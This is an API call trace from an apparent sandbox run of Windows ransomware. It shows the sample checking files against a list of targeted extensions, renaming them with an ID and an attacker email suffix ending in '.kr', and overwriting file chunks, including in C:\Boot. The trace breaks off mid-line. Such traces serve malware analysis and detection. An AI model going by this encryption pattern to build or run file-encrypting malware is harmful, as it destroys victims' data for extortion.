[0093.271] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0093.271] lstrlenW (lpString=".pdf") returned 4 [0093.271] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.271] lstrlenW (lpString=".xls") returned 4 [0093.271] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.271] lstrlenW (lpString=".xlsx") returned 5 [0093.271] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0093.271] lstrlenW (lpString=".ppt") returned 4 [0093.271] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.271] lstrlenW (lpString=".zip") returned 4 [0093.271] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.271] lstrlenW (lpString=".rar") returned 4 [0093.271] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.271] lstrlenW (lpString=".bz2") returned 4 [0093.271] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.271] lstrlenW (lpString=".7z") returned 3 [0093.271] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.271] lstrlenW (lpString=".dbf") returned 4 [0093.271] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.271] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.271] lstrlenW (lpString=".1cd") returned 4 [0093.272] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.272] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0093.272] lstrlenW (lpString=".jpg") returned 4 [0093.272] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.272] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0093.272] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0093.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.272] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=2192672) returned 1 [0093.272] CloseHandle (hObject=0x34c) returned 1 [0093.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0093.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.273] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0093.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.274] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc64 | out: lpNewFilePointer=0x0) returned 1 [0093.274] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.274] ReadFile (in: hFile=0x34c, lpBuffer=0x3df2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3df2058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.279] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.279] ReadFile (in: hFile=0x34c, lpBuffer=0x3e32058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e32058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.283] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x37dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.284] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.284] ReadFile (in: hFile=0x34c, lpBuffer=0x3e72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e72058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.772] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.772] WriteFile (in: hFile=0x34c, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x37dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0093.824] SetEndOfFile (hFile=0x34c) returned 1 [0093.824] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x4283e78 [0093.831] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0093.831] WriteFile (in: hFile=0x34c, lpBuffer=0x4283e78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x4283e78*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.833] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0093.833] WriteFile (in: hFile=0x34c, lpBuffer=0x4283e78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x4283e78*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.836] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0093.836] WriteFile (in: hFile=0x34c, lpBuffer=0x4283e78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x4283e78*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.838] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.838] CloseHandle (hObject=0x34c) returned 1 [0095.024] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0095.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.313] lstrlenW (lpString=".doc") returned 4 [0095.313] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0095.313] lstrlenW (lpString=".docx") returned 5 [0095.313] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0095.313] lstrlenW (lpString=".pdf") returned 4 [0095.313] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0095.313] lstrlenW (lpString=".xls") returned 4 [0095.313] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0095.314] lstrlenW (lpString=".xlsx") returned 5 [0095.314] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0095.314] lstrlenW (lpString=".ppt") returned 4 [0095.314] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0095.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.314] lstrlenW (lpString=".zip") returned 4 [0095.314] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0095.314] lstrlenW (lpString=".rar") returned 4 [0095.314] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0095.314] lstrlenW (lpString=".bz2") returned 4 [0095.314] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0095.314] lstrlenW (lpString=".7z") returned 3 [0095.314] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0095.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.314] lstrlenW (lpString=".dbf") returned 4 [0095.314] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0095.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.314] lstrlenW (lpString=".1cd") returned 4 [0095.314] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0095.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.314] lstrlenW (lpString=".jpg") returned 4 [0095.314] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0095.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.314] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.314] lstrlenW (lpString=".doc") returned 4 [0095.314] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0095.314] lstrlenW (lpString=".docx") returned 5 [0095.314] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0095.314] lstrlenW (lpString=".pdf") returned 4 [0095.314] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0095.315] lstrlenW (lpString=".xls") returned 4 [0095.315] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0095.315] lstrlenW (lpString=".xlsx") returned 5 [0095.315] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0095.315] lstrlenW (lpString=".ppt") returned 4 [0095.315] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0095.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.315] lstrlenW (lpString=".zip") returned 4 [0095.315] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0095.315] lstrlenW (lpString=".rar") returned 4 [0095.315] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0095.315] lstrlenW (lpString=".bz2") returned 4 [0095.315] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0095.315] lstrlenW (lpString=".7z") returned 3 [0095.315] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0095.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.315] lstrlenW (lpString=".dbf") returned 4 [0095.315] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0095.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.315] lstrlenW (lpString=".1cd") returned 4 [0095.315] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0095.315] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0095.315] lstrlenW (lpString=".jpg") returned 4 [0095.315] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0095.315] lstrlenW (lpString="BCD") returned 3 [0095.315] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.316] lstrlenW (lpString=".doc") returned 4 [0095.316] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString=".docx") returned 5 [0095.316] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0095.316] lstrlenW (lpString=".pdf") returned 4 [0095.316] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString=".xls") returned 4 [0095.316] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString=".xlsx") returned 5 [0095.316] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0095.316] lstrlenW (lpString=".ppt") returned 4 [0095.316] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.316] lstrlenW (lpString=".zip") returned 4 [0095.316] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString=".rar") returned 4 [0095.316] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString=".bz2") returned 4 [0095.316] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString=".7z") returned 3 [0095.316] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0095.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.316] lstrlenW (lpString=".dbf") returned 4 [0095.316] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.316] lstrlenW (lpString=".1cd") returned 4 [0095.316] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0095.316] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.316] lstrlenW (lpString=".jpg") returned 4 [0095.317] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.317] lstrlenW (lpString=".doc") returned 4 [0095.317] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString=".docx") returned 5 [0095.317] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0095.317] lstrlenW (lpString=".pdf") returned 4 [0095.317] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString=".xls") returned 4 [0095.317] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString=".xlsx") returned 5 [0095.317] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0095.317] lstrlenW (lpString=".ppt") returned 4 [0095.317] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.317] lstrlenW (lpString=".zip") returned 4 [0095.317] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString=".rar") returned 4 [0095.317] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString=".bz2") returned 4 [0095.317] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString=".7z") returned 3 [0095.317] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0095.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.317] lstrlenW (lpString=".dbf") returned 4 [0095.317] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.317] lstrlenW (lpString=".1cd") returned 4 [0095.317] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0095.317] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0095.317] lstrlenW (lpString=".jpg") returned 4 [0095.317] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0095.318] lstrcmpiW (lpString1=".LOG1", lpString2=".kr") returned 1 [0095.318] lstrlenW (lpString="BCD.LOG1") returned 8 [0095.318] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.318] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=0) returned 1 [0095.318] CloseHandle (hObject=0x340) returned 1 [0095.318] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.318] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.318] lstrlenW (lpString=".doc") returned 4 [0095.318] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0095.318] lstrlenW (lpString=".docx") returned 5 [0095.318] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0095.318] lstrlenW (lpString=".pdf") returned 4 [0095.318] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0095.318] lstrlenW (lpString=".xls") returned 4 [0095.318] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0095.318] lstrlenW (lpString=".xlsx") returned 5 [0095.318] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0095.319] lstrlenW (lpString=".ppt") returned 4 [0095.319] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.319] lstrlenW (lpString=".zip") returned 4 [0095.319] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString=".rar") returned 4 [0095.319] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString=".bz2") returned 4 [0095.319] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString=".7z") returned 3 [0095.319] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0095.319] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.319] lstrlenW (lpString=".dbf") returned 4 [0095.319] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.319] lstrlenW (lpString=".1cd") returned 4 [0095.319] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.319] lstrlenW (lpString=".jpg") returned 4 [0095.319] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.319] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.319] lstrlenW (lpString=".doc") returned 4 [0095.319] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString=".docx") returned 5 [0095.319] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0095.319] lstrlenW (lpString=".pdf") returned 4 [0095.319] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString=".xls") returned 4 [0095.319] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0095.319] lstrlenW (lpString=".xlsx") returned 5 [0095.320] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0095.320] lstrlenW (lpString=".ppt") returned 4 [0095.320] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0095.320] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.320] lstrlenW (lpString=".zip") returned 4 [0095.320] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0095.320] lstrlenW (lpString=".rar") returned 4 [0095.320] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0095.320] lstrlenW (lpString=".bz2") returned 4 [0095.320] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0095.320] lstrlenW (lpString=".7z") returned 3 [0095.320] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0095.320] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.320] lstrlenW (lpString=".dbf") returned 4 [0095.320] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0095.320] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.320] lstrlenW (lpString=".1cd") returned 4 [0095.320] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0095.320] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0095.320] lstrlenW (lpString=".jpg") returned 4 [0095.320] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0095.320] lstrcmpiW (lpString1=".LOG2", lpString2=".kr") returned 1 [0095.320] lstrlenW (lpString="BCD.LOG2") returned 8 [0095.320] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.321] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=0) returned 1 [0095.321] CloseHandle (hObject=0x340) returned 1 [0095.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.321] lstrlenW (lpString=".doc") returned 4 [0095.321] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString=".docx") returned 5 [0095.321] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0095.321] lstrlenW (lpString=".pdf") returned 4 [0095.321] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString=".xls") returned 4 [0095.321] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString=".xlsx") returned 5 [0095.321] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0095.321] lstrlenW (lpString=".ppt") returned 4 [0095.321] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.321] lstrlenW (lpString=".zip") returned 4 [0095.321] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString=".rar") returned 4 [0095.321] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString=".bz2") returned 4 [0095.321] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0095.321] lstrlenW (lpString=".7z") returned 3 [0095.321] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0095.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.321] lstrlenW (lpString=".dbf") returned 4 [0095.321] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.322] lstrlenW (lpString=".1cd") returned 4 [0095.322] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.322] lstrlenW (lpString=".jpg") returned 4 [0095.322] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.322] lstrlenW (lpString=".doc") returned 4 [0095.322] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString=".docx") returned 5 [0095.322] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0095.322] lstrlenW (lpString=".pdf") returned 4 [0095.322] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString=".xls") returned 4 [0095.322] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString=".xlsx") returned 5 [0095.322] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0095.322] lstrlenW (lpString=".ppt") returned 4 [0095.322] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.322] lstrlenW (lpString=".zip") returned 4 [0095.322] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString=".rar") returned 4 [0095.322] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString=".bz2") returned 4 [0095.322] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0095.322] lstrlenW (lpString=".7z") returned 3 [0095.322] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0095.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.323] lstrlenW (lpString=".dbf") returned 4 [0095.323] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0095.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.323] lstrlenW (lpString=".1cd") returned 4 [0095.323] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0095.323] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0095.323] lstrlenW (lpString=".jpg") returned 4 [0095.323] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0095.323] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0095.323] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0095.323] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.323] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=77664) returned 1 [0095.323] CloseHandle (hObject=0x340) returned 1 [0095.323] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0095.324] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.324] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.324] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.324] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0095.324] lstrlenW (lpString=".doc") returned 4 [0095.324] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0095.324] lstrlenW (lpString=".docx") returned 